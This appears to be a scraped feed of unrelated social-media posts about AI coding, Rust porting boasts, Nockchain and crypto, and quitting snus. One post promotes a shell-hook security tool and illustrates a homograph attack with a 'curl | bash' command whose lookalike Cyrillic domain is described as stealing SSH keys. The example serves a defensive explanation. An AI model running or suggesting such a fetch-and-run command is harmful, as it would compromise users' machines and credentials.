Sonnet is SOOO GOOD it literally solved time travel

Be honest. When was the last time you actually read a command before pasting it into your terminal? Because these two lines look identical: curl -sSL https://install.example-cli | bash curl -sSL https://іnstall.example-clі | bash One installs your tool. The other steals your SSH keys. That і? Cyrillic. Not Latin. Your browser would block it. Your terminal doesn't even blink. Vibe coding made this 100x worse. Everyone's pasting commands from ChatGPT and random repos like it's nothing. We're all one bad curl | bash away from losing everything. So I built the fix: "tirith". Invisible shell hook. Catches homograph attacks, ANSI injection, hidden commands, dotfile overwrites before they execute. 30 rules. Local only. No telemetry. github.com/sheeki03/tirith

I logged off for 45 minutes and now agents have their own reddit

thanks for playing 🤝

I’m living this every day, and let me tell you, things are accelerating very rapidly indeed. Using skills to improve skills, skills to improve tool use, and then feeding the actual experience in the form of session logs (surfaced and searched by my cass tool and /cass skill) back into the design skill for improving the tool interface to make it more natural and intuitive and powerful for the agents. Then taking that revised tool and improving the skill for using that tool, then rinse and repeat. And finding any way I can to squeeze out more token density and agent intuitiveness and ergonomics wherever I can, like porting toon to Rust and seeing how I can add it as an optional output format to every tool’s robot mode. Meanwhile, I’m going over each tool with my extreme optimization skill and applying insane algorithmic lore that Knuth himself probably forgot about already to make things as fast as the metal can go in memory-safe Rust. Now I’m applying this to much bigger and richer targets, not just making small tools for use by agents, but now complex, rich protocols like my Flywheel Connector Protocol, which is practically an alien artifact (same for my process_triage or pt tool, which could cover a dozen PhD theses worth of applied probability), in that it weaves together so many innovative and clever ideas. Skeptical? Check out the spec, it’s all public in my GH. All the “slop callers” have been conspicuously silent about this stuff, I wonder why? And now I’m even starting to build up my own core infrastructure for Rust. Just because certain libraries and ecosystems like Tokio have all the mindshare, doesn’t mean they’re the best, or even particularly good. Design by committee over 10 years while the language evolves is not a recipe for excellence. But people are content to defer to the experts and then they end up with flawed structured concurrency primitives that forgo all the correctness by design that the academics already solved. For instance, check out my asupersync library, which I’m already using to replace all the networking in my other rust tools, for a glimpse at this new clean-room, alien-artifact library future based on all that CS academic research that only a dozen people in the world ever read about. The knowledge is just sitting there and the models have it. But you need to know how to coax it out of them. I will be skipping out on all the Rust politics though! Naysayers can stick to Tokio. At the same time, I’m raiding and pillaging the best libraries available for every language and making clean-room, conformance-assured, heavily-optimized Rust versions. I’m nearly done porting rich, fastapi, fastmcp, and sqlmodel from Python, as well as all of the Charm libraries from Golang (like bubbletea and lipgloss), and even OpenTUI (I’ll have to port OpenCode afterwards just to antagonize Dax for being so nasty to me). These aren’t idle boasts; all of these repos are public and available NOW for your perusal and verification. And I’ve already proven I can do this with my beads_rust project that I made in a few days and which turned 270k lines of Golang into 20k lines of Rust that is 8x faster. Just need a few more days to finish everything and establish correctness and conformance, and then the iterated extreme isomorphic optimization Olympics can begin in earnest, and I can turn all of these libraries into alien artifacts, too. And btw, when I’m done porting all the console formatting related libraries, I’m going to merge them all into an unholy Franken-Library (but don’t worry, it will be super elegant and agent-intuitive). Again, this isn’t some crazy dream. All of this will be completed by early February at the latest. Just watch. AI skeptics in shambles.

ON GOD

aaaaaa im slinging work & spawning polecats

It’s cool too see Vitalik clearly articulate his vision for Ethereum (now better than ever maybe?) Personally, these ideas were riveting in 2014. It’s what inspired me to get into crypto. But today it feels like the world has moved on, unfortunately. Blockchains are for finance. Finance is and will continue to get surprisingly more expressive because of blockchains, but it’s hard to see a mainstream renaissance in the types of applications described because they are skeuomorphic (decentralized) versions of existing products. That hasn’t been a formula for success. I think a more interesting theme is to imagine: non-skeuomorphic manifestations of the vision he is describing? For example, are we going to end up with 3 mega-datacenter corps, or are we going to find a way to leverage decentralized compute? And what *new* products can only be developed because of the new financial markets that blockchains enable?

Certified Early Sendooor status achieved. Minted my SendIt SZN Pass on discord.gg/senditfun @senditfun

If Nockchain succeeds at what it’s designed to do (cheap, verifiable computation with privacy by default), there are multiple realistic paths to $100M annual revenue. Below are concrete, non-hand-wavy use cases, how they generate revenue, and why Nock is a good fit.

nockapps remind me of early react/redux. it's this fringe functional thing that people don't really get but it performs well technically. people forget react was not well received when it was introduced because the jsx syntax was so hard to get used to. but they had the novel idea of the virtual dom to speed up rendering using you guessed it binary trees! just like what nock ISA runs on. hoon is fringe, hard to write, and not many people get it but the idea of having your app state entirely represented by trees in a finite state machine with execution proven on chain is very powerful

Announcing a first live NockApp Developer Workshop hosted by @sigilante. This following Monday at 2pm EST. This workshop is aimed at anyone interested in developing for Nockchain in the near to medium term. Learn what NockApp does and how it works. Learn about the runtime, the kernel, and how to write and communicate using the NockApp framework in this developer-targeted workshop looking at each level of the NockApp stack. While the session will utilize Rust and Hoon, any programming experience should be sufficient to follow the discussion. If you'd like to join, just REPLY to this tweet and we'll DM you the link (you have to be following @nockchain).

You can always tell when you're going to have to lockin over the holiday szn or have some time off. Last year, we had clear indicators that the market was hot and that we would have to remain infront of the screens. AI agent meta was in full force, BTC was making new highs and everyone was active in group chats. I made some of the biggest gains last year during holiday period. Stark change in sentiment this year both on majors and onchain. Pretty much the opposite of what we had last year.

Day 5 of quitting snus cold turkey. Went to see one of my best friends yesterday for some beers. As a best friend, he’s also an avid snus connoisseur. As a snus connoisseur his peer pressure game after a few beers was at an elite level. Did I try one of those devil delights? NO I FUCKING DIDN’T, IT’S DAY 5 QUITTING SNUS COLD TURKEY AND I WILL NOT LET YOU GUYS DOWN. We continue. Hungover today, no idea if I am experiencing any side effects from no snus or this is the metric tonne of mulled wine I consumed.

we all need to stop being mean let kindness into your heart

and you are telling me ai is a bubble?
